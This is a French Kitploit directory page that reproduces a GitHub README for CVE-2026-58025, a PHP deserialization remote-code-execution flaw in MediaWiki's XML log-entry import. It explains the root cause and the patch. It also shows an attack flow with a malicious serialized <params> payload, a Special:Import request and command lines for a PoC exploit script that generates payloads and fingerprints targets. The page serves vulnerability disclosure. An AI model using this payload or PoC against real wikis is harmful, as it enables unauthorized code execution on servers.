Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-58025 — CVE-2026-58025 — RCE par désérialisation dans MediaWiki via l'importation d'entrées de journal. LogEntryBase::extractParams() unserialize() des log_params contrôlés par l'utilisateur. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0 | Kitploit
Outils/GitHubGitHub/shinthink/cve-2026-58025
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubshinthink/cve-2026-58025

CVE-2026-58025

CVE-2026-58025 — RCE par désérialisation dans MediaWiki via l'importation d'entrées de journal. LogEntryBase::extractParams() unserialize() des log_params contrôlés par l'utilisateur. CVSS 9.8 | CWE-502 | MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0

Voir le dépôt
4151il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-58025 — RCE par désérialisation PHP dans MediaWiki via l'import d'entrées de journal

WikiImporter → LogEntryBase::extractParams() → unserialize() log_params contrôlés par l'utilisateur → RCE


Vue d'ensemble

CVE-2026-58025 est une vulnérabilité critique (CVSS 9.8) de désérialisation de données non fiables dans MediaWiki (Fondation Wikimedia). La méthode LogEntryBase::extractParams() appelait unserialize() sur des paramètres d'entrée de journal contrôlés par l'utilisateur sans restreindre les classes PHP pouvant être instanciées. Un attaquant disposant du droit importupload ou import (par défaut : groupe sysop) pouvait créer un fichier d'import XML malveillant contenant des objets PHP sérialisés dans les champs <params>, déclenchant l'instanciation arbitraire d'objets et une éventuelle exécution de code à distance via des chaînes de gadgets.

Versions concernées

Branche de versionVulnérableCorrigé
1.43.x< 1.43.91.43.9
1.44.x< 1.44.61.44.6
1.45.x< 1.45.41.45.4
1.46.x< 1.46.01.46.0

Conditions requises : le droit import ou importupload (par défaut : groupe sysop). L'attaquant doit pouvoir téléverser ou importer un fichier XML vers Special:Import de MediaWiki.


Mécanisme de la vulnérabilité

Cause racine

LogEntryBase::extractParams() dans includes/Logging/LogEntryBase.php appelait unserialize() directement sur le blob log_params sans aucune restriction de classe :

// includes/Logging/LogEntryBase.php (BEFORE fix)
public static function extractParams( $blob ) {
    return unserialize( $blob );  // ← user-controlled, no allowed_classes restriction
}

Cette méthode est appelée depuis plusieurs emplacements :

FichierLigneContexte
includes/Logging/DatabaseLogEntry.php187getParameters() — lecture des entrées de journal depuis la base de données
includes/RecentChanges/RecentChange.php781parseParams() — analyse des modifications récentes
includes/Import/WikiRevision.php638importLogItem() — importation des entrées de journal depuis le XML
maintenance/purgeChangedFiles.php182Analyse des journaux par le script de maintenance
tests/phpunit/maintenance/DumpAsserter.php541Aide aux tests

Vecteur d'attaque

Le principal vecteur d'attaque est l'import XML via Special:Import :

  1. L'attaquant (disposant du droit import/importupload) crée un fichier d'export XML MediaWiki malveillant
  2. Le XML contient un élément <logitem> avec un champ <params> contenant une charge utile sérialisée PHP
  3. WikiImporter::processLogItem() → WikiRevision::importLogItem() stocke l'entrée de journal
  4. Lorsque l'entrée de journal est ensuite lue (via DatabaseLogEntry::getParameters(), RecentChange::parseParams() ou l'affichage du journal), LogEntryBase::extractParams() appelle unserialize() sur le blob contrôlé par l'attaquant
  5. Si une chaîne de gadgets adaptée existe (via des extensions/bibliothèques tierces installées), cela conduit à une RCE

Déroulement de l'attaque

POST /wiki/Special:Import
  Content-Type: multipart/form-data
  action=submit
  xmlimportfile=<malicious.xml>
  source=file
  catname=
  prefix=
  loginComment=

malicious.xml:
  <mediawiki ...>
    <logitem>
      <type>test</type>
      <action>test</action>
      <params>a:1:{s:3:"foo";O:8:"GadgetClass":N:{...}}</params>
    </logitem>
  </mediawiki>

→ WikiImporter::handleLogItem()
→ WikiImporter::processLogItem()
→ WikiRevision::importLogItem() → stores to DB
→ Later: DatabaseLogEntry::getParameters()
→ LogEntryBase::extractParams( $blob ) → unserialize( $blob )
→ PHP instantiates GadgetClass object → __wakeup() / __destruct() gadget chain
→ RCE as www-data

Format de la charge utile sérialisée

Le champ <params> de l'import XML accepte des chaînes sérialisées PHP standard. Une entrée sûre (bénigne) :

a:1:{s:3:"foo";s:3:"bar";}

Une entrée malveillante contenant un objet sérialisé :

a:1:{s:3:"foo";O:8:"stdClass":0:{}}

Lorsque unserialize() est appelé sans restriction allowed_classes, l'objet est entièrement instancié. Avec une chaîne de gadgets disponible (par exemple, depuis des bibliothèques installées via Composer), cela débouche sur une RCE.


Le correctif

Commit : 60f154d4618063ac4d5832285fc246b8fcd7c72c Auteur : Bartosz Dziewoński Date : 2026-06-29

Le correctif met en œuvre plusieurs couches de défense :

1. unserialize() restreint avec allowed_classes

// includes/Logging/LogEntryBase.php (AFTER fix)
public static function extractParams( $blob, ?string $logType = null ) {
    $attribute = ExtensionRegistry::getInstance()->getAttribute( 'LogParamsAllowedClasses' );
    if ( $logType && array_key_exists( $logType, $attribute ) && is_array( $attribute[$logType] ) ) {
        $allowedClasses = $attribute[$logType];
    } else {
        $allowedClasses = false;  // no classes allowed
    }
    $result = @unserialize( $blob, [ 'allowed_classes' => $allowedClasses ] );
    if ( $result !== false && !is_array( $result ) ) {
        return false;
    }
    return $result;
}

2. Nouvelle vérification containsUnsafeParams()

Détecte les instances __PHP_Incomplete_Class (objets qui ont été bloqués par allowed_classes) :

public static function containsUnsafeParams( array $params ): bool {
    $result = false;
    $params = [ $params ];
    array_walk_recursive( $params, static function ( $val ) use ( &$result ) {
        if ( $val instanceof \__PHP_Incomplete_Class ) {
            $result = true;
        }
    } );
    return $result;
}

3. Barrière d'import — WikiImporter::processLogItem()

Nouvelle vérification de permission logentryimport (non accordée à personne par défaut) :

private function processLogItem( $logInfo ) {
    if ( !$this->performer->authorizeAction( 'logentryimport' ) ) {
        $this->notice( 'permissionserrorstext-withaction-noreason', ... );
        return false;
    }
    // ...
}

4. WikiRevision::importLogItem() — rejet des paramètres non sûrs

if ( LogEntryBase::containsUnsafeParams(
    LogEntryBase::extractParams( $this->params, "{$this->type}/{$this->action}" ),
) ) {
    wfDebug( __METHOD__ . ": skipping {$this->type}/{$this->action} with unsafe params" );
    return false;
}

5. UnsafeLogFormatter — affichage sécurisé des entrées malveillantes existantes

La nouvelle classe UnsafeLogFormatter remplace le formateur normal pour les entrées contenant des objets bloqués, affichant un message de substitution au lieu de tenter de formater les données dangereuses.

6. Correctif associé : CVE-2026-58037

La même recherche (T422244) a également identifié que le type de paramètre raw de LogFormatter permettait une sortie HTML brute à partir de paramètres de journal contrôlés par l'utilisateur. Cela a été corrigé dans un commit associé en remplaçant Message::rawParam() par Message::plaintextParam().


PoC

L'exploit.py inclus génère un fichier d'import XML MediaWiki malveillant contenant des objets PHP sérialisés dans les paramètres des entrées de journal. Il peut également établir une empreinte (fingerprint) des instances MediaWiki et tenter l'import via l'API.

# Generate malicious XML payload
python exploit.py --generate --output payload.xml

# Fingerprint target
python exploit.py -u https://target.com --check
Télécharger l’outil